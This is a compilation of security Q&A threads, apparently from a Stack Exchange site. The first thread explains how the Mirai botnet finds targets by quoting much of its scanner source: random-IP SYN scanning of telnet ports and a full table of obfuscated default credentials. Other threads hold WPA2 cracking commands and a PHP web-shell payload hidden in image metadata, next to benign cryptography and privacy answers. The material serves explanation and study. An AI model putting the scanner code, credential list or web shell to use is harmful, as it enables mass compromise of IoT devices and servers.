How Mirai scans or find targets I read some articles about the Mirai botnet.
I can't understand how Mirai scans/finds IoT devices.
Does Mirai scan the entire public IP range with an open telnet port and try to log in?

The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.

If you like to know how Mirai communicates with it's C&C. Check out similar question "How does Mirai's C&C communicate with its bots?".

Here instead is the explanation on "How Mirai Targets."

SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports

// Set up raw socket scanning and payload
if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
#ifdef DEBUG
    printf("[scanner] Failed to initialize raw socket, cannot scan\n");
#endif
    exit(0);
}

Getting responses

    if (fake_time != last_spew)
    {
        last_spew = fake_time;

        for (i = 0; i < SCANNER_RAW_PPS; i++)
        {
            struct sockaddr_in paddr = {0};
            struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

            iph->id = rand_next();
            iph->saddr = LOCAL_ADDR;
            iph->daddr = get_random_ip();
            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            if (i % 10 == 0)
            {
                tcph->dest = htons(2323);
            }
            else
            {
                tcph->dest = htons(23);
            }
            tcph->seq = iph->daddr;
            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

            paddr.sin_family = AF_INET;
            paddr.sin_addr.s_addr = iph->daddr;
            paddr.sin_port = tcph->dest;

            sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
        }
    }

And getting random ip to target

static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
    tmp = rand_next();

    o1 = tmp & 0xff;
    o2 = (tmp >> 8) & 0xff;
    o3 = (tmp >> 16) & 0xff;
    o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
      (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
      (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
      (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
      (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
      (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
      (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
      (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
      (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
      (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
      (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
      (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
      (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

return INET_ADDR(o1,o2,o3,o4);
}

Send ACK packet and receive the response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323

last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;

errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
    break;

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
    continue;
if (iph->daddr != LOCAL_ADDR)
    continue;
if (iph->protocol != IPPROTO_TCP)
    continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
    continue;
if (tcph->dest != source_port)
    continue;
if (!tcph->syn)
    continue;
if (!tcph->ack)
    continue;
if (tcph->rst)
    continue;
if (tcph->fin)
    continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
    continue;

conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
    if (conn_table[n].state == SC_CLOSED)
    {
        conn = &conn_table[n];
        last_avail_conn = n;
        break;
    }
}

Once the above are done. A TCP Session is then Established

    FD_ZERO(&fdset_rd);
    FD_ZERO(&fdset_wr);
    for (i = 0; i < SCANNER_MAX_CONNS; i++)
    {
        int timeout;

        conn = &conn_table[i];
        timeout = (conn->state > SC_CONNECTING ? 30 : 5);

        if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
        {
#ifdef DEBUG
            printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
            close(conn->fd);
            conn->fd = -1;

            // Retry
            if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
            {
                if (++(conn->tries) == 10)
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                else
                {
                    setup_connection(conn);
#ifdef DEBUG
                    printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
                }
            }
            else
            {
                conn->tries = 0;
                conn->state = SC_CLOSED;
            }
            continue;
        }

Password Enumeration

        if (FD_ISSET(conn->fd, &fdset_rd))
        {
            while (TRUE)
            {
                int ret;

                if (conn->state == SC_CLOSED)
                    break;

                if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                {
                    memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                    conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                }
                errno = 0;
                ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                if (ret == 0)
                {
#ifdef DEBUG
                    printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
                    errno = ECONNRESET;
                    ret = -1; // Fall through to closing connection below
                }
                if (ret == -1)
                {
                    if (errno != EAGAIN && errno != EWOULDBLOCK)
                    {
#ifdef DEBUG
                        printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
                        close(conn->fd);
                        conn->fd = -1;

                        // Retry
                        if (++(conn->tries) >= 10)
                        {
                            conn->tries = 0;
                            conn->state = SC_CLOSED;
                        }
                        else
                        {
                            setup_connection(conn);
#ifdef DEBUG
                            printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
                        }
                    }

Attempts using common weak passwords and default passwords.

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker


Can man-in-the-middle attacks affect anyone not connected to the attackers network? I'm trying to understand what these attacks are restricted to. I'm aware that man-in-the-middle attacks can be done if the attacker is on the same network (using something like Wire Shark), but is it possible for someone to snoop on in on traffic when we're not connected to the same network? e.g. Connecting to Facebook, from a home network, only myself on the network, using SSL.

On my own website, we had a login form that didn't have SSL. Would it have been possible, without anyone having access to the server that the website is hosted on, for someone to obtain my login information?

If anyone could reference me to some good books or in-depth explanations that would be much appreciated.

Thanks!

Man-in-the-middle attacks can be done by hijacking DNS so that it does not give the real IP address of a host but an IP controlled by the attacker. A typical case of hijacking DNS is by changing the DNS settings in the router. One way to do this from outside of your local network is a CSRF attack. These kinds of man-in-the-middle attacks are done for years and in-mass, see the mass-hijacking of routers in brazil 2012.

Of course another way to snoop the traffic is to employ malware which can be easily distributed through phishing mails or malvertisment. This malware then could inject itself into the browser and do a man-in-the-browser attack to sniff and modify unencrypted and also encrypted traffic.


Using airolib-ng with crunch and then using the file using aircrack-ng gives unexpected result I'm using airlib-ng and crunch to generate password Database and use that Password Database in aircrack-ng to crack the Captured Handshake of a WPA2 Wireless Network.

Here are my terminal Commands and Output -

root@VAIO-PC:~/Desktop/files# crunch 8 8 1234567890abcdefghijklmnopqrstuvwxyz --stdout | airolib-ng testdb -import passwd -
Crunch will now generate the following amount of data: 25389989167104 bytes
24213780 MB
23646 GB
23 TB
0 PB
Crunch will now generate the following number of lines: 2821109907456
Database <testdb> does not already exist, creating it...
Database <testdb> successfully created
Reading file...
^CCrunch ending at 1111y3z4id lines ignored.
root@VAIO-PC:~/Desktop/files# clear

Now, I've generated a testdb which I'll be using with -r switch to crack the handshake file (*.cap).

root@VAIO-PC:~/Desktop/files# aircrack-ng '/root/Desktop/hs/TEST-NET.cap' -r '/root/Desktop/files/testdb'
Opening /root/Desktop/hs/TEST-NET.cap
Read 4 packets.

   #  BSSID              ESSID                     Encryption

   1  AA:8E:E8:04:02:EE  TEST-NET                  WPA (1 handshake)

Choosing first network as target.

Opening /root/Desktop/hs/TEST-NET (copy).cap
Reading packets, please wait...

                                 Aircrack-ng 1.2 rc4

Quitting aircrack-ng...
root@VAIO-PC:~/Desktop/files#

But it quits for an unexpected reason, can anyone here tell me the problem here? Also a .journal file gets deleted. I dunno what's the problem, I tried searching in forums and other website but I didn't find much help regarding this.

Related - https://tools.kali.org/wireless-attacks/airolib-ng
but it uses a wordlist instead of generating them using crunch.

I think that the password database file is about 50mb and the text password is more that 500 mb, so is my PC running so fast that it completes the whole process in wink of an eye?

The purpose of using airlib-ng is to speed up things, computing in advance all the possible PMK (pair-wise master key) combination used during the handshake, which are derived from the password and the ESSID.

So you'll need to perform some additional steps:

1) Import a list of ESSIDs:

$ airolib-ng testdb --import essid your_essids.txt

2) Compute the PMKs using all possible password+ESSID combinations:

$ airolib-ng testdb --batch

Your code should work afterwards.


Storage of secret key in resource-constrained sensor nodes In sensor nodes, there arises a need to store the master secret key safely. Which is the most perfect location to store the key when the sensor nodes (such as implanted body sensor node) are highly resource-constrained ones?

Generally the "master key" is different from derived device keys. You do not store the master key in the devices. Where to store the device key is dependent, but generally you'd store it in flash / EEPROM (or whatever persistent but writeable storage there is).

If possible the storage is protected and / or encrypted. This is perfectly possible, it's commonly used with smart cards. However, it does come at a cost and it depends on the nodes if such cost is economic. When it comes to implants, I guess you don't expect an adversary to remove it from the body first, so I presume some attacks are not applicable.


List of PKCS7 certificate file extensions RSA (the company) devises and publishes the public key cryptography standards. In those standards, PKCS #7 is a standard which defines how to encrypt and sign messages using PKI.

PKCS#7 defines a format to store the public key certificates alone whereas PKCS#12 defines a format to store both public and private key pairs. The list of file extensions for PKCS#12 was (.pfx and .p12) which I believe both are same.

My doubt is around PKCS# 7 certificate file extensions. I have many file extensions like .p7,.p7a,.p7b,.p7c etc. Is there a difference/significance between these file extensions? If there is, what is that?

Harvested whole internet unable to find the useful info to know the difference. So came here to see if anybody knows the same.

The S/MIME standard (RFC 5751) in section 3.2.1 states that the file extensions SHOULD be appropriate:

certificate management message: .p7c
CompressedData: .p7z
SignedData: .p7s
SignedData + EnvelopedData: .p7m


How exploiting RCE in jpg file actually works? I am trying to learn how JPG and PNG files can be used to get RCE. Below is my code for uploading files. It will check if the file content type is correct.

<?php

   $test = array('image/jpeg', 'image/png', 'image/jpg');

   $test2     = @$_FILES['filename'];
   $test3     = array('png', 'jpg', 'jpeg');
   $ut  = pathinfo($test2['name'], PATHINFO_EXTENSION);

   $original_path="uploadedfiles/";

   //New path uploadfile/filename.extension

   $original_path1 = $original_path.basename($test2['name']);
   $original_path2 = "C:/xampp/htdocs/demo/$original_path1";
   $resultpath  = "F:/".basename($test2['name']);

   if (isset($test2))
   {
      if (in_array($test2['type'], $test))
      {
         if (in_array($ut, $test3))
         {
            if(move_uploaded_file($test2["tmp_name"], $original_path1))
            {
               echo "The file ".basename($test2['name'])." has been uploaded successfully.

 ";
            }
            else
            {
               echo "Error in file upload";
            }
         }
         else
         {
            echo "Invalid File Extension";
         }
      }
      else
      {
         echo "Invalid file Content-type     ";
      }
   }
   else
   {
      echo "Where is the filename parameter? Go and make another request with the filename parameter.";
   }

?>

I have tried to change the description and user comment Exif header through this website with this payload:

<?if($_GET['r0ng']){echo"
".shell_exec($_GET["r0ng"]);}?>

But failed.

So as a pentester, what other things can I try? I am sure that I am missing something important, but what?

What you are missing is the actual execution of the uploaded file. A file would be harmless unless executed as a PHP script. And your web-server will treat a file according to its extension. So a regular web-server wouldn't execute jpg files as php scripts.

There are two caveats, however.

In some circumstances, Apache web server would treat a file named image.php.jpg indeed as a PHP file. So it could be a good idea to rename uploaded files to some meaningless names (this idea is good by itself anyway).
of course, there is not only a direct execution - an uploaded image could be included into a PHP script as well. But this would be a vulnerability by itself, one don't need a file upload facility to exploit it, so your site shouldn't allow including arbitrary files of user's choice anyway.


How to check whether a link is safe or not? I've been working on a task to find threats in a social network called Skyrock. For which, I've managed to retrieve a significant amount of URLs by crawling various user profiles and parsing the data for URLs. These URLs basically are a part of data, that some of the users share publicly on the network. Now, I want to check whether any of these URLs is malicious or not.

I know there are a lot of online url scanners available on the internet to scan for a malicious link, but don't want to use any of those. Instead, I want to use information which am able retrieve about a URL, using some third party API, for example: location (lat, long), url redirects, redirect count, DNS entries etc. Can any of these properties be used to check if a particular URL is malicious or not? What other information about a link do I need to check if it's malicious or not?

Note: A malicious link, in this case, could be a link to a phishing site, a spam link, or either a link that makes you download some malware. I just want to know what properties related to a link are useful in figuring out whether a link falls under these categories of malice or not.

Online URL scanners have three methods to check URLs for being malicious:

Blacklists of known bad URLs. Someone reported that very URL as malicious and entered it into a database. These cases are trivial to check for the scanner but require constant effort to keep the database up-to-date. Considering that many malware-serving websites only exist for hours before they get removed by the hoster or get "un-hacked" by their real admin, they outdate very quickly.
Known malware samples. They download the linked website and then use a database of known web-based exploits to search for signature strings in it which hint that it is using one. The half-life time of such database entries is much longer than that of URLs, because there are some widely-used stock exploits which are deployed over and over again on thousands of URLs. This method does not help against zero-day exploits and might be fooled by self-written exploits for known vulnerabilities or running stock-exploits through an obfuscator.
Heuristics. By analyzing the HTML code and executing dynamic content in a sandbox they can find suspicious behavior and report it. Just like with normal virus scanners, the potential for false-positives is very high.

Note that the methods 2 and 3 aren't foolproof. The malicious website could try to detect that it is downloaded by the URL scanner and serve different content than it would serve to a regular visitor.


How StandardPBEStringEncryptor works? I have to encrypt some String data and be able to decrypt them.
So i tried Java simplified encryption (Jasypt), i used StandardPBEStringEncryptor.
It works i can encrypt and decrypt, but i don't understand how this algorithm can decrypt the crypted string from the password i have set, while the salt seems to be random ?
When i encrypt a same string, the crypted result is always different.
http://www.jasypt.org/api/jasypt/1.8/org/jasypt/encryption/pbe/StandardPBEStringEncryptor.html

Your guesses are correct:

it uses a random salt.
it needs that salt to perform the decryption is correct.

From the documentation:

  This encryptor uses a salt for each encryption operation. The size of the salt depends on the algorithm being used. This salt is used for creating the encryption key and, if generated by a random generator, it is also appended unencrypted at the beginning of the results so that a decryption operation can be performed.

The salt is appended in the encryption result, so it will be available during the decryption process.


How to find a "secret" gateway I'm practicing penetration testing and I'm in front of a basic routing exercise.
The context is the following: I'm using a virtual machine with Kali Linux from which I connect in VPN to the network that provides hosts for the exercises.
Before connecting, typing the route command I get the following output:

root@kali:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 eth0
10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 eth0

after the connection instead, this one:

root@kali:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 eth0
10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 eth0
192.168.193.0   0.0.0.0         255.255.255.0   U     0      0        0 tap0

and this is the output of the ip route command:

root@kali:~# ip route show table main
default via 10.0.2.2 dev eth0 proto dhcp metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
192.168.193.0/24 dev tap0 proto kernel scope link src 192.168.193.70

So, the 192.168.193.0/24 is the internal network; from this one, it is possible to reach other networks. One of the task is to find wich ones and add a route to reach them.

To find the network, I have a wireshark file that show as from the 192.168.193.0/24 network's hosts, we can reach 2 web server, with these ip address:

10.86.74.7
10.85.174.87

So, what I have to do is to add a route from my internal network to this 2 others.
The problem is that I have NOT the gateway of this network, cause "How many routers there are in the network" is one of the proposed question.
So, If i want execute these command:

ip route add -net 10.86.74.0/24 gateway_address dev tap0
ip route add -net 10.85.174.0/24 gateway_address dev tap0

what I miss is the gateway_address parameter.
I tried to execute the command without this parameter, or:

ip route add -net 10.86.74.0/24 dev tap0

but, of course, I got the Destination Host Unreachable error when I try to ping one of the host.

So, my question is: how can I find the gateway address? May be the use of the wireshark file? And if yes, what I must search inside it?

My suggestion is to ping that address and check the TTL value and with tcpdump verify the path that the ICMP packets takes, over tap0 or eth0 according your configuration, if you get the ICMP destination unreachable is because your router can not find the address. As other users suggest you can use traceroute and verify the path, but with your setup probably with pings you will make it work.


Does blocking ads and deleting cookies improve privacy online? I'm not sure if this is the right community for this kind of question, but here goes.

When I browse the web, here is what I do:

I always use uBlock
I usually use Self-Destructing Cookies to delete residual cookies from YouTube, Amazon, etc. after I log out.
I use HTTPS Everywhere to protect against eavesdropping on public networks.
Flash is disabled whenever it is not in use
If I'm looking something up quickly on a public computer, I use private browsing mode so that form entries are not logged.
I carry a USB stick that has a portable version of Firefox with the above addons installed.

Do these tools (ad blocking, deleting cookies) actually do anything to protect my privacy, or do they give a false sense of security?

I am aware that Google, Facebook, etc. track my activity regardless of what I do on my local system. However, since their ads never actually reach me (meaning that I never click on ads), wouldn't this information be useless to them?

Let's see:

  I always use uBlock

This improves your privacy protection. Note that some ads are only not shown, but still running in background (thus they still can get some info about you such as IP).

Ad blocking also makes you more secure from malware - for example, ad blocking protects you from some malwertising, which is a major infection vector nowadays. This could also be used as argument for blocking in some "ad blocking ethics" disputes.

  I usually use Self-Destructing Cookies to delete residual cookies from
  YouTube, Amazon, etc. after I log out.

I suggest also to clear your ALL browser cookies once a month or so. If you don't clear all of them, they can still keep tracking you using a cookie from a third party website under their control.

And of course don't forget to log out of services like Google if you don't want all your searches to be

  I use HTTPS Everywhere to protect against eavesdropping on public
  networks.

Helps a bit (only if the web site actually supports HTTPS)

  Flash is disabled whenever it is not in use

Good for security as well as privacy.

  If I'm looking something up quickly on a public computer, I use
  private browsing mode so that form entries are not logged.

Doesn't affect your privacy in general, as you have a single browsing session and could be tracked within it. Ironically, using public computer and NOT clearing your cookies could improve your privacy (by poisoning Google and other profiles), but of course comes with obvious security risks.

Note that there are many other risks using a public computer, such as installed malware or keylogger (including hardware keylogger).

  I carry a USB stick that has a portable version of Firefox with the above
  addons installed.

This is a bit helpful, but again the main issue with public computer is (lack of) security, and possibility to have keyloggers, from which your portable firefox won't protect.

  I am aware that Google, Facebook, etc. track my activity regardless of
  what I do on my local system.

However your actions make it harder for them. If you do google search while logging in, they KNOW it is you. If only your IP matches, it might or might not be you, so the profiling degree is less confident.

And regarding Google, make it a habit to spend 15 minutes a week to "poison" your profile, by searching for something you would never search or never be interested in, and by sending out emails in Gmail (to your other or non-existent accounts) using topics/keywords as far away from your interests as possible.


Creating secure virtual machine that nobody can see its content including the host machine? This problem is completely different from "running malware in a VM"! Suppose I want to have a virtual machine running some software with secret data. But I do not have complete control of the host machine, i.e. hackers can happily play on the host machine. Then, is it possible that my VM is still safe? For instance, without knowing the password, the hackers can never see what is inside the VM even though they get control of the host?

(P.S. Maybe by using some kind of full-disk encryption? But what about the memory... And when the VM is executing commands, the host can see that, cannot it?)

Thanks for any ideas!

Protecting memory from the host is going to be the tricky part.

Testing

My Setup

To demonstrate this, I have this system lying around:

Host: Ubuntu 18.04.4 LTS
Virtualization stack: VirtualBox 5.2.34
Guest: Kali linux 2018.3

Experiment

In Kali, I opened a text editor and typed the text "SecretForcn271828n", but I did not save it to disk, it's just in memory. The test is whether I can read that from the host.

Steps

From the host, the entire VM appears as a single process:

➜  ~ ps -aux | grep Kali1
mike      6014 12.2 23.6 4524784 1901772 ?     Sl   19:48   3:26 /usr/lib/virtualbox/VirtualBox --comment Kali1 --startvm 7b229c8a-ba68-48ad-bd80-0ab5ed9b6b86 --no-startvm-errormsgbox

So I'll take a core dump of that process:

➜  ~ sudo gcore 6014
...
Saved corefile core.6014
➜  ~ ll -h core.6014
-rw-r--r-- 1 root root 2.3G Mar  3 20:02 core.6014

That core file contains a complete dump of the memory of the kali OS, plus whatever memory the VirtualBox stack itself is using, as seen by the root user on the host.

Now let's use the strings utility to see what's in memory!

➜  ~ strings core.6014 | grep -i secret
ccSecretForch271828n
SecretForch271828n
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
~
-- INSERT --                                                  1,19  All
SecretForch271828n

That certainly looks to me like the host can see the raw memory of the gvim application that is running inside the kali VM.

(this was actually all on one grep line, but I formatted it pretty)

Summary

Trying to protect a guest VM from the host is a losing game. Anything that is in raw memory within the guest will be visible to the host. The CPU instructions executed by the guest are likely similarly visible, but it's beyond my skill to demo that.

It might be possible to build a guest OS, or maybe a hypervisor or virtualization stack, that adds some memory obfuscation (such as encryption of live memory). This would come at a pretty steep performance hit, and at best it would be obfuscation because, with enough effort, and attacker who controlled the host could find the encryption key in memory of the guest OS or virtualization stack.


What is default mode for AES encryption What will be the default mode for  AES encryption if we don't use any specific mode like ECB, CBC, OFB, CTR, etc. and just carry out the encryption without specifying any AES encryption mode.

The default mode will be  MODE_ECB as detailed in the documentation. The different modes have already been described in this answer.


Better safety: Webmail or POP3/IMAP clent? Which offers a higher level of safety: Webmail or using a POP3/IMAP client?

Assume the following for webmail:

Access via HTTPS
Rarely downloading any attachments, but in cases where it may be necessary, carefully verifying the integrity and authenticity of the attachment after it has been downloaded

Assume the following for POP3/IMAP client:

Always using the latest version of the client
Rarely opening attachments (the client will still download all of them), but in cases where it may be necessary, first carefully verifying the integrity and authenticity of the attachment

In both cases, assume the OS has the latest security patches applied.

I can't see difference if we are talking just about data transfer. If HTTPS, POP3S, IMAPS and SMTPS protocols are in use of course. Always use secured versions of protocols.

If we are talking about software - browser or the client, thats the same. Use patched software, all the time. The hole can be in both, web browser and mail client too.

Never opening attachments can't make the email more secure. It will make it useless. If you would state: never opening suspicious attachments it would sound better.

What I can see as a problem is user behavior. While POP3/IMAP client will be probably used only in user's device, it is highly probable that the web mail will be used from anywhere, even from a non-trusted PC. There is no possibility to guarantee "security" in this case. Traffic analyzers, key loggers, or whatever so can be installed there.

Edit:
for somebody the added value of thick email client would be it is possible to install some kind of antivirus/antimalware plugin there. But in reality, this can't increase protection against malicious software so much.


